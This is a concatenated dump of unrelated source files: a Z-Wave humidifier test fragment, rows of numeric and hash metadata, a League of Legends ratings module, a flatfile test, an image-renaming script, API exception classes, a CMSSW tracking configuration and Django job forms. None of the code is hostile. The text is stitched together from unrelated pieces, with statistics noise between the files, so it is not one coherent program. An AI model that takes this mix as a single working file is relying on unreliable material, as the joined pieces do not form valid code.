de-humidifying event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.DEHUMIDIFY), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_ON, {ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() # Test turning on when device is previously auto event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.AUTO), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_ON, {ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() # Test turning on when device is previously humidifying event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.HUMIDIFY), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_ON, {ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "2": "De-humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.HUMIDIFY), } assert args["value"] == int(HumidityControlMode.AUTO) client.async_send_command.reset_mock() # Test turning on when device is previously off event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.OFF), "prevValue": int(HumidityControlMode.AUTO), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_ON, {ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "2": "De-humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.OFF), } assert args["value"] == int(HumidityControlMode.DEHUMIDIFY)
31.74929
103
0.563455
3,154
33,559
5.796766
0.040266
0.067276
0.075863
0.070995
0.946289
0.936717
0.917628
0.912378
0.902587
0.901274
0
0.018592
0.315623
33,559
1,056
104
31.779356
0.777463
0.041449
0
0.807269
0
0
0.19814
0.004384
0
0
0
0
0.096916
1
0
false
0
0.007709
0
0.007709
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
42eef6707b394901d41d05472779a87bbcdab439
6,545
py
Python
loldib/getratings/models/NA/na_veigar/na_veigar_jng.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_veigar/na_veigar_jng.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_veigar/na_veigar_jng.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
from getratings.models.ratings import Ratings class NA_Veigar_Jng_Aatrox(Ratings): pass class NA_Veigar_Jng_Ahri(Ratings): pass class NA_Veigar_Jng_Akali(Ratings): pass class NA_Veigar_Jng_Alistar(Ratings): pass class NA_Veigar_Jng_Amumu(Ratings): pass class NA_Veigar_Jng_Anivia(Ratings): pass class NA_Veigar_Jng_Annie(Ratings): pass class NA_Veigar_Jng_Ashe(Ratings): pass class NA_Veigar_Jng_AurelionSol(Ratings): pass class NA_Veigar_Jng_Azir(Ratings): pass class NA_Veigar_Jng_Bard(Ratings): pass class NA_Veigar_Jng_Blitzcrank(Ratings): pass class NA_Veigar_Jng_Brand(Ratings): pass class NA_Veigar_Jng_Braum(Ratings): pass class NA_Veigar_Jng_Caitlyn(Ratings): pass class NA_Veigar_Jng_Camille(Ratings): pass class NA_Veigar_Jng_Cassiopeia(Ratings): pass class NA_Veigar_Jng_Chogath(Ratings): pass class NA_Veigar_Jng_Corki(Ratings): pass class NA_Veigar_Jng_Darius(Ratings): pass class NA_Veigar_Jng_Diana(Ratings): pass class NA_Veigar_Jng_Draven(Ratings): pass class NA_Veigar_Jng_DrMundo(Ratings): pass class NA_Veigar_Jng_Ekko(Ratings): pass class NA_Veigar_Jng_Elise(Ratings): pass class NA_Veigar_Jng_Evelynn(Ratings): pass class NA_Veigar_Jng_Ezreal(Ratings): pass class NA_Veigar_Jng_Fiddlesticks(Ratings): pass class NA_Veigar_Jng_Fiora(Ratings): pass class NA_Veigar_Jng_Fizz(Ratings): pass class NA_Veigar_Jng_Galio(Ratings): pass class NA_Veigar_Jng_Gangplank(Ratings): pass class NA_Veigar_Jng_Garen(Ratings): pass class NA_Veigar_Jng_Gnar(Ratings): pass class NA_Veigar_Jng_Gragas(Ratings): pass class NA_Veigar_Jng_Graves(Ratings): pass class NA_Veigar_Jng_Hecarim(Ratings): pass class NA_Veigar_Jng_Heimerdinger(Ratings): pass class NA_Veigar_Jng_Illaoi(Ratings): pass class NA_Veigar_Jng_Irelia(Ratings): pass class NA_Veigar_Jng_Ivern(Ratings): pass class NA_Veigar_Jng_Janna(Ratings): pass class NA_Veigar_Jng_JarvanIV(Ratings): pass class NA_Veigar_Jng_Jax(Ratings): pass class NA_Veigar_Jng_Jayce(Ratings): pass class NA_Veigar_Jng_Jhin(Ratings): pass class NA_Veigar_Jng_Jinx(Ratings): pass class NA_Veigar_Jng_Kalista(Ratings): pass class NA_Veigar_Jng_Karma(Ratings): pass class NA_Veigar_Jng_Karthus(Ratings): pass class NA_Veigar_Jng_Kassadin(Ratings): pass class NA_Veigar_Jng_Katarina(Ratings): pass class NA_Veigar_Jng_Kayle(Ratings): pass class NA_Veigar_Jng_Kayn(Ratings): pass class NA_Veigar_Jng_Kennen(Ratings): pass class NA_Veigar_Jng_Khazix(Ratings): pass class NA_Veigar_Jng_Kindred(Ratings): pass class NA_Veigar_Jng_Kled(Ratings): pass class NA_Veigar_Jng_KogMaw(Ratings): pass class NA_Veigar_Jng_Leblanc(Ratings): pass class NA_Veigar_Jng_LeeSin(Ratings): pass class NA_Veigar_Jng_Leona(Ratings): pass class NA_Veigar_Jng_Lissandra(Ratings): pass class NA_Veigar_Jng_Lucian(Ratings): pass class NA_Veigar_Jng_Lulu(Ratings): pass class NA_Veigar_Jng_Lux(Ratings): pass class NA_Veigar_Jng_Malphite(Ratings): pass class NA_Veigar_Jng_Malzahar(Ratings): pass class NA_Veigar_Jng_Maokai(Ratings): pass class NA_Veigar_Jng_MasterYi(Ratings): pass class NA_Veigar_Jng_MissFortune(Ratings): pass class NA_Veigar_Jng_MonkeyKing(Ratings): pass class NA_Veigar_Jng_Mordekaiser(Ratings): pass class NA_Veigar_Jng_Morgana(Ratings): pass class NA_Veigar_Jng_Nami(Ratings): pass class NA_Veigar_Jng_Nasus(Ratings): pass class NA_Veigar_Jng_Nautilus(Ratings): pass class NA_Veigar_Jng_Nidalee(Ratings): pass class NA_Veigar_Jng_Nocturne(Ratings): pass class NA_Veigar_Jng_Nunu(Ratings): pass class NA_Veigar_Jng_Olaf(Ratings): pass class NA_Veigar_Jng_Orianna(Ratings): pass class NA_Veigar_Jng_Ornn(Ratings): pass class NA_Veigar_Jng_Pantheon(Ratings): pass class NA_Veigar_Jng_Poppy(Ratings): pass class NA_Veigar_Jng_Quinn(Ratings): pass class NA_Veigar_Jng_Rakan(Ratings): pass class NA_Veigar_Jng_Rammus(Ratings): pass class NA_Veigar_Jng_RekSai(Ratings): pass class NA_Veigar_Jng_Renekton(Ratings): pass class NA_Veigar_Jng_Rengar(Ratings): pass class NA_Veigar_Jng_Riven(Ratings): pass class NA_Veigar_Jng_Rumble(Ratings): pass class NA_Veigar_Jng_Ryze(Ratings): pass class NA_Veigar_Jng_Sejuani(Ratings): pass class NA_Veigar_Jng_Shaco(Ratings): pass class NA_Veigar_Jng_Shen(Ratings): pass class NA_Veigar_Jng_Shyvana(Ratings): pass class NA_Veigar_Jng_Singed(Ratings): pass class NA_Veigar_Jng_Sion(Ratings): pass class NA_Veigar_Jng_Sivir(Ratings): pass class NA_Veigar_Jng_Skarner(Ratings): pass class NA_Veigar_Jng_Sona(Ratings): pass class NA_Veigar_Jng_Soraka(Ratings): pass class NA_Veigar_Jng_Swain(Ratings): pass class NA_Veigar_Jng_Syndra(Ratings): pass class NA_Veigar_Jng_TahmKench(Ratings): pass class NA_Veigar_Jng_Taliyah(Ratings): pass class NA_Veigar_Jng_Talon(Ratings): pass class NA_Veigar_Jng_Taric(Ratings): pass class NA_Veigar_Jng_Teemo(Ratings): pass class NA_Veigar_Jng_Thresh(Ratings): pass class NA_Veigar_Jng_Tristana(Ratings): pass class NA_Veigar_Jng_Trundle(Ratings): pass class NA_Veigar_Jng_Tryndamere(Ratings): pass class NA_Veigar_Jng_TwistedFate(Ratings): pass class NA_Veigar_Jng_Twitch(Ratings): pass class NA_Veigar_Jng_Udyr(Ratings): pass class NA_Veigar_Jng_Urgot(Ratings): pass class NA_Veigar_Jng_Varus(Ratings): pass class NA_Veigar_Jng_Vayne(Ratings): pass class NA_Veigar_Jng_Veigar(Ratings): pass class NA_Veigar_Jng_Velkoz(Ratings): pass class NA_Veigar_Jng_Vi(Ratings): pass class NA_Veigar_Jng_Viktor(Ratings): pass class NA_Veigar_Jng_Vladimir(Ratings): pass class NA_Veigar_Jng_Volibear(Ratings): pass class NA_Veigar_Jng_Warwick(Ratings): pass class NA_Veigar_Jng_Xayah(Ratings): pass class NA_Veigar_Jng_Xerath(Ratings): pass class NA_Veigar_Jng_XinZhao(Ratings): pass class NA_Veigar_Jng_Yasuo(Ratings): pass class NA_Veigar_Jng_Yorick(Ratings): pass class NA_Veigar_Jng_Zac(Ratings): pass class NA_Veigar_Jng_Zed(Ratings): pass class NA_Veigar_Jng_Ziggs(Ratings): pass class NA_Veigar_Jng_Zilean(Ratings): pass class NA_Veigar_Jng_Zyra(Ratings): pass
15.695444
46
0.766692
972
6,545
4.736626
0.151235
0.209818
0.389661
0.479583
0.803432
0.803432
0
0
0
0
0
0
0.169748
6,545
416
47
15.733173
0.847258
0
0
0.498195
0
0
0
0
0
0
0
0
0
1
0
true
0.498195
0.00361
0
0.501805
0
0
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
1
0
0
8
42fc2b2f28488e6f3c6798418d68695555d04e21
241
py
Python
plugins/google_docs/icon_google_docs/actions/__init__.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
46
2019-06-05T20:47:58.000Z
2022-03-29T10:18:01.000Z
plugins/google_docs/icon_google_docs/actions/__init__.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
386
2019-06-07T20:20:39.000Z
2022-03-30T17:35:01.000Z
plugins/google_docs/icon_google_docs/actions/__init__.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
43
2019-07-09T14:13:58.000Z
2022-03-28T12:04:46.000Z
# GENERATED BY KOMAND SDK - DO NOT EDIT from .append_line.action import AppendLine from .create_blank_document.action import CreateBlankDocument from .create_document.action import CreateDocument from .get_document.action import GetDocument
40.166667
61
0.854772
32
241
6.28125
0.625
0.238806
0.298507
0
0
0
0
0
0
0
0
0
0.103734
241
5
62
48.2
0.930556
0.153527
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
6e513c18ec41b363884eb335e6fdddf615726914
1,195
py
Python
flatfile/tests/test_flatfile.py
m4h7/flatfile
ae906429a32aa2987968fe07bb6af99c5846e272
[ "MIT" ]
null
null
null
flatfile/tests/test_flatfile.py
m4h7/flatfile
ae906429a32aa2987968fe07bb6af99c5846e272
[ "MIT" ]
null
null
null
flatfile/tests/test_flatfile.py
m4h7/flatfile
ae906429a32aa2987968fe07bb6af99c5846e272
[ "MIT" ]
null
null
null
from unittest import TestCase import io import flatfile class TestFlatfile(TestCase): def test_all(self): md = """ column a string datetime column b string _ lz4 column c u32le column d u64le """ m = flatfile.metadata_parse(md) f = io.BytesIO() w = {'a': 'aaaa', 'b': 'bbbb', 'c': 12345678, 'd': 1122334455667788 } m.write(w, f) f.seek(0) r = m.read(f) self.assertEqual(r['a'], w['a']) self.assertEqual(r['b'], w['b']) self.assertEqual(r['c'], w['c']) self.assertEqual(r['d'], w['d']) f.close() def test_nulls(self): md = """ column a string datetime column b string _ lz4 column c u32le column d u64le """ m = flatfile.metadata_parse(md) f = io.BytesIO() w = {'a': 'aaaa', 'c': 12345678, 'd': 1122334455667788 } m.write(w, f) f.seek(0) r = m.read(f) self.assertEqual(r['a'], w['a']) self.assertTrue(r.get('b') is None) self.assertEqual(r['c'], w['c']) self.assertEqual(r['d'], w['d']) f.close()
27.159091
77
0.488703
156
1,195
3.705128
0.288462
0.181661
0.193772
0.044983
0.764706
0.764706
0.764706
0.764706
0.764706
0.764706
0
0.076825
0.346444
1,195
43
78
27.790698
0.663252
0
0
0.75
0
0
0.239331
0
0
0
0
0
0.2
1
0.05
false
0
0.075
0
0.15
0
0
0
0
null
0
1
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
284a8616d922301f65747d0908ca3a608741e753
802
py
Python
scripts/rename_images.py
mwinding/connectome_analysis
dbc747290891805863c9481921d8080dc2043d21
[ "MIT" ]
1
2021-06-10T05:48:16.000Z
2021-06-10T05:48:16.000Z
rename_images.py
mwinding/connectome_tools
0392f6b1e924194299ea7760d8386eb01f3371a3
[ "MIT" ]
2
2022-01-21T11:48:45.000Z
2022-01-21T11:48:45.000Z
scripts/rename_images.py
mwinding/connectome_analysis
dbc747290891805863c9481921d8080dc2043d21
[ "MIT" ]
1
2022-02-02T15:39:52.000Z
2022-02-02T15:39:52.000Z
import os import re import numpy as np path = '/Volumes/GoogleDrive/My Drive/blender/animations/all_brain_neurons/neuropil/' files = os.listdir(path) files = sorted(files) #regex = re.compile(r'\d+') #ints = [int(regex.findall(x)[0]) for x in files] #ints = list ints = [x*2 for x in range(1, 1+len(files))] names = [str(x).zfill(6) + '.png' for x in ints] for i in range(0, len(files)): os.rename(os.path.join(path, files[i]), os.path.join(path, names[i])) path = '/Volumes/GoogleDrive/My Drive/blender/animations/all_brain_neurons/neuropil/' files = os.listdir(path) files = sorted(files) ints = [x*2 for x in range(1, 1+len(files))] names = [str(x).zfill(4) + '.png' for x in ints] for i in range(0, len(files)): os.rename(os.path.join(path, files[i]), os.path.join(path, names[i]))
27.655172
85
0.677057
145
802
3.717241
0.310345
0.037106
0.055659
0.103896
0.834879
0.834879
0.834879
0.834879
0.834879
0.834879
0
0.015873
0.13591
802
28
86
28.642857
0.761905
0.105985
0
0.705882
0
0
0.22409
0.210084
0
0
0
0
0
1
0
false
0
0.176471
0
0.176471
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
959a461b6ec01e3c483dc621ebe8bf220dd69c58
1,322
py
Python
api/utils/exception.py
SE-131-JSONx/jsonx-backend
f25b497898f9737e27acc6310d2872635285cc0e
[ "MIT" ]
null
null
null
api/utils/exception.py
SE-131-JSONx/jsonx-backend
f25b497898f9737e27acc6310d2872635285cc0e
[ "MIT" ]
1
2018-10-05T17:36:20.000Z
2018-10-05T17:36:20.000Z
api/utils/exception.py
SE-131-JSONx/jsonx-backend
f25b497898f9737e27acc6310d2872635285cc0e
[ "MIT" ]
1
2020-04-10T02:00:20.000Z
2020-04-10T02:00:20.000Z
from api.utils.constants import required, invalid, expired class AuthRequired(Exception): """Handles required Authorization header""" status_code = 403 def __init__(self): Exception.__init__(self) self.message = required.format("Authorization") def to_dict(self): rv = dict() rv['message'] = self.message return rv class DecodeError(Exception): """Handles invalid Authorization header""" status_code = 403 def __init__(self): Exception.__init__(self) self.message = invalid.format("Authorization") def to_dict(self): rv = dict() rv['message'] = self.message return rv class ExpiredSignatureError(Exception): """Handles expired Authorization header""" status_code = 403 def __init__(self): Exception.__init__(self) self.message = expired.format("Authorization") def to_dict(self): rv = dict() rv['message'] = self.message return rv class BaseJWTError(Exception): """Handles base Authorization header""" status_code = 403 def __init__(self): Exception.__init__(self) self.message = expired.format("Authorization") def to_dict(self): rv = dict() rv['message'] = self.message return rv
22.793103
58
0.629349
140
1,322
5.657143
0.214286
0.080808
0.126263
0.146465
0.728535
0.728535
0.728535
0.728535
0.728535
0.728535
0
0.012295
0.261725
1,322
57
59
23.192982
0.79918
0.109682
0
0.810811
0
0
0.069204
0
0
0
0
0
0
1
0.216216
false
0
0.027027
0
0.567568
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
95c60a006e310a104301a69861d5425c873a10e3
4,521
py
Python
RecoTracker/TkSeedingLayers/python/PixelLessLayerPairs4PixelLessTracking_cfi.py
gputtley/cmssw
c1ef8454804e4ebea8b65f59c4a952a6c94fde3b
[ "Apache-2.0" ]
3
2018-08-24T19:10:26.000Z
2019-02-19T11:45:32.000Z
RecoTracker/TkSeedingLayers/python/PixelLessLayerPairs4PixelLessTracking_cfi.py
gputtley/cmssw
c1ef8454804e4ebea8b65f59c4a952a6c94fde3b
[ "Apache-2.0" ]
26
2018-10-30T12:47:58.000Z
2022-03-29T08:39:00.000Z
RecoTracker/TkSeedingLayers/python/PixelLessLayerPairs4PixelLessTracking_cfi.py
gputtley/cmssw
c1ef8454804e4ebea8b65f59c4a952a6c94fde3b
[ "Apache-2.0" ]
5
2018-08-21T16:37:52.000Z
2020-01-09T13:33:17.000Z
import FWCore.ParameterSet.Config as cms ### standard configuration of *strip* layer pairs to be used ### to reconstruct tracks without using additional pixel-with tracking steps. from RecoTracker.TkSeedingLayers.seedingLayersEDProducer_cfi import * pixelLessLayerPairs4PixelLessTracking = seedingLayersEDProducer.clone() pixelLessLayerPairs4PixelLessTracking.layerList = cms.vstring( 'TIB1+TIB2','TIB1+TIB3','TIB2+TIB3', 'TIB1+TID1_pos', 'TIB1+TID1_neg', 'TIB2+TID1_pos', 'TIB2+TID1_neg', 'TIB1+TID2_pos', 'TIB1+TID2_neg', 'TID1_pos+TID2_pos', 'TID2_pos+TID3_pos', 'TID3_pos+TEC2_pos', 'TEC1_pos+TEC2_pos', 'TEC2_pos+TEC3_pos', 'TID1_neg+TID2_neg', 'TID2_neg+TID3_neg', 'TID3_neg+TEC2_neg', 'TEC1_neg+TEC2_neg', 'TEC2_neg+TEC3_neg' ) pixelLessLayerPairs4PixelLessTracking.TID1 = cms.PSet( useSimpleRphiHitsCleaner = cms.bool(False), minRing = cms.int32(1), matchedRecHits = cms.InputTag("siStripMatchedRecHits","matchedRecHit"), rphiRecHits = cms.InputTag("siStripMatchedRecHits","rphiRecHitUnmatched"), stereoRecHits = cms.InputTag("siStripMatchedRecHits","stereoRecHitUnmatched"), useRingSlector = cms.bool(True), TTRHBuilder = cms.string('WithTrackAngle'), maxRing = cms.int32(3) ,clusterChargeCut = cms.PSet(refToPSet_ = cms.string('SiStripClusterChargeCutNone')) ) pixelLessLayerPairs4PixelLessTracking.TID2 = cms.PSet( useSimpleRphiHitsCleaner = cms.bool(False), minRing = cms.int32(1), matchedRecHits = cms.InputTag("siStripMatchedRecHits","matchedRecHit"), rphiRecHits = cms.InputTag("siStripMatchedRecHits","rphiRecHitUnmatched"), stereoRecHits = cms.InputTag("siStripMatchedRecHits","stereoRecHitUnmatched"), useRingSlector = cms.bool(True), TTRHBuilder = cms.string('WithTrackAngle'), maxRing = cms.int32(3) ,clusterChargeCut = cms.PSet(refToPSet_ = cms.string('SiStripClusterChargeCutNone')) ) pixelLessLayerPairs4PixelLessTracking.TID3 = cms.PSet( useSimpleRphiHitsCleaner = cms.bool(False), minRing = cms.int32(1), matchedRecHits = cms.InputTag("siStripMatchedRecHits","matchedRecHit"), rphiRecHits = cms.InputTag("siStripMatchedRecHits","rphiRecHitUnmatched"), stereoRecHits = cms.InputTag("siStripMatchedRecHits","stereoRecHitUnmatched"), useRingSlector = cms.bool(True), TTRHBuilder = cms.string('WithTrackAngle'), maxRing = cms.int32(2) ,clusterChargeCut = cms.PSet(refToPSet_ = cms.string('SiStripClusterChargeCutNone')) ) pixelLessLayerPairs4PixelLessTracking.TEC = cms.PSet( useSimpleRphiHitsCleaner = cms.bool(False), matchedRecHits = cms.InputTag("siStripMatchedRecHits","matchedRecHit"), rphiRecHits = cms.InputTag("siStripMatchedRecHits","rphiRecHitUnmatched"), stereoRecHits = cms.InputTag("siStripMatchedRecHits","stereoRecHitUnmatched"), useRingSlector = cms.bool(True), TTRHBuilder = cms.string('WithTrackAngle'), minRing = cms.int32(1), maxRing = cms.int32(2) ,clusterChargeCut = cms.PSet(refToPSet_ = cms.string('SiStripClusterChargeCutNone')) ) pixelLessLayerPairs4PixelLessTracking.TIB1 = cms.PSet( TTRHBuilder = cms.string('WithTrackAngle'), matchedRecHits = cms.InputTag("siStripMatchedRecHits","matchedRecHit"), rphiRecHits = cms.InputTag("siStripMatchedRecHits","rphiRecHitUnmatched"), stereoRecHits = cms.InputTag("siStripMatchedRecHits","stereoRecHitUnmatched"), useSimpleRphiHitsCleaner = cms.bool(False) ,clusterChargeCut = cms.PSet(refToPSet_ = cms.string('SiStripClusterChargeCutNone')) ) pixelLessLayerPairs4PixelLessTracking.TIB2 = cms.PSet( TTRHBuilder = cms.string('WithTrackAngle'), matchedRecHits = cms.InputTag("siStripMatchedRecHits","matchedRecHit"), rphiRecHits = cms.InputTag("siStripMatchedRecHits","rphiRecHitUnmatched"), stereoRecHits = cms.InputTag("siStripMatchedRecHits","stereoRecHitUnmatched"), useSimpleRphiHitsCleaner = cms.bool(False) ,clusterChargeCut = cms.PSet(refToPSet_ = cms.string('SiStripClusterChargeCutNone')) ) pixelLessLayerPairs4PixelLessTracking.TIB3 = cms.PSet( TTRHBuilder = cms.string('WithTrackAngle'), rphiRecHits = cms.InputTag("siStripMatchedRecHits","rphiRecHitUnmatched"), stereoRecHits = cms.InputTag("siStripMatchedRecHits","stereoRecHitUnmatched"), useSimpleRphiHitsCleaner = cms.bool(False) ,clusterChargeCut = cms.PSet(refToPSet_ = cms.string('SiStripClusterChargeCutNone')) )
47.09375
87
0.74541
383
4,521
8.710183
0.185379
0.065947
0.191847
0.07554
0.809053
0.809053
0.783873
0.783873
0.783873
0.783873
0
0.019653
0.133378
4,521
95
88
47.589474
0.831802
0.028976
0
0.616279
0
0
0.306006
0.172642
0
0
0
0
0
1
0
false
0
0.023256
0
0.023256
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
255058c0a72aebf2f0ff9a99696af5340301087a
7,220
py
Python
chemflow/jobs/forms.py
donadef/django-test
70479458833045fa6476aaf93c3f62cc1ad26df4
[ "MIT" ]
null
null
null
chemflow/jobs/forms.py
donadef/django-test
70479458833045fa6476aaf93c3f62cc1ad26df4
[ "MIT" ]
2
2019-01-31T11:15:36.000Z
2019-01-31T11:19:32.000Z
chemflow/jobs/forms.py
donadef/django-test
70479458833045fa6476aaf93c3f62cc1ad26df4
[ "MIT" ]
null
null
null
from django import forms from .models import Job SF_CHOICES_DOCK = ( ('vina', 'Vina'), ('chemplp', 'ChemPLP'), ('plp95', 'plp95'), ('plp', 'plp'), ) class JobForm(forms.ModelForm): def clean_receptor_file(self): receptor_file = self.cleaned_data['receptor_file'] ext = str(receptor_file).split('.')[-1] sf = self.cleaned_data['sf'] if sf == 'vina' and ext != 'mol2': raise forms.ValidationError("Vina rescoring requires a mol2 file as receptor input.") elif sf in ['chemplp', 'plp', 'plp95'] and ext != 'mol2': raise forms.ValidationError("Plants rescoring requires a mol2 file as receptor input") elif sf in ['mmgbsa', 'mmpbsa'] and ext != 'pdb': raise forms.ValidationError("MM-GBSA rescoring requires a PDB file as receptor input.") return receptor_file class JobDockForm(JobForm): class Meta: model = Job fields = "__all__" widgets = { 'project_name': forms.TextInput(attrs={'class': 'form-control', 'required': 'required', 'placeholder': 'Project name', 'oninput': 'update_job_name_with_project_name()'}), 'protocol_name': forms.TextInput(attrs={'class': 'form-control', 'required': 'required', 'placeholder': 'Protocol name, one project may contain several protocols.', 'oninput': 'update_job_name_with_protocol_name()'}), 'job_name': forms.TextInput(attrs={'class': 'form-control', 'required': 'required', 'disabled': 'disabled', 'placeholder': ' - '}), 'sf': forms.Select(attrs={'class': 'form-control', 'required': 'required', 'onchange': 'update_required_field()'}, choices=SF_CHOICES_DOCK), 'receptor_file': forms.FileInput(attrs={'class': 'form-control-file', 'required': 'required'}), 'ligands_file': forms.FileInput(attrs={'class': 'form-control-file', 'required': 'required'}), 'center_x': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'x'}), 'center_y': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'y'}), 'center_z': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'z'}), 'radius': forms.NumberInput(attrs={'class': 'col-sm-4 w-25'}), 'size_x': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'x'}), 'size_y': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'y'}), 'size_z': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'z'}), } SF_CHOICES_SCORE = ( ('vina', 'Vina'), ('chemplp', 'ChemPLP'), ('plp95', 'plp95'), ('plp', 'plp'), ('mmgbsa', 'MM-GBSA'), ('mmpbsa', 'MM-PBSA') ) class JobScoreForm(JobForm): class Meta: model = Job fields = "__all__" widgets = { 'project_name': forms.TextInput(attrs={'class': 'form-control', 'required': 'required', 'placeholder': 'Project name', 'oninput': 'update_job_name_with_project_name()'}), 'protocol_name': forms.TextInput(attrs={'class': 'form-control', 'required': 'required', 'placeholder': 'Protocol name, one project may contain several protocols.', 'oninput': 'update_job_name_with_protocol_name()'}), 'job_name': forms.TextInput(attrs={'class': 'form-control', 'required': 'required', 'disabled': 'disabled', 'placeholder': ' - '}), 'sf': forms.Select(attrs={'class': 'form-control', 'required': 'required', 'onchange': 'update_required_field()'}, choices=SF_CHOICES_SCORE), 'receptor_file': forms.FileInput(attrs={'class': 'form-control-file', 'required': 'required'}), 'ligands_file': forms.FileInput(attrs={'class': 'form-control-file', 'required': 'required'}), 'center_x': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'x'}), 'center_y': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'y'}), 'center_z': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'z'}), 'radius': forms.NumberInput(attrs={'class': 'col-sm-4 w-25'}), 'size_x': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'x'}), 'size_y': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'y'}), 'size_z': forms.NumberInput(attrs={'class': 'col-sm-4 w-25', 'required': 'required', 'placeholder': 'z'}), }
50.138889
127
0.4
542
7,220
5.199262
0.166052
0.092264
0.1533
0.12917
0.855216
0.855216
0.830376
0.830376
0.803407
0.803407
0
0.014794
0.466343
7,220
143
128
50.48951
0.716584
0
0
0.779661
0
0
0.281579
0.026039
0
0
0
0
0
1
0.008475
false
0
0.016949
0
0.076271
0
0
0
0
null
0
0
0
1
1
1
1
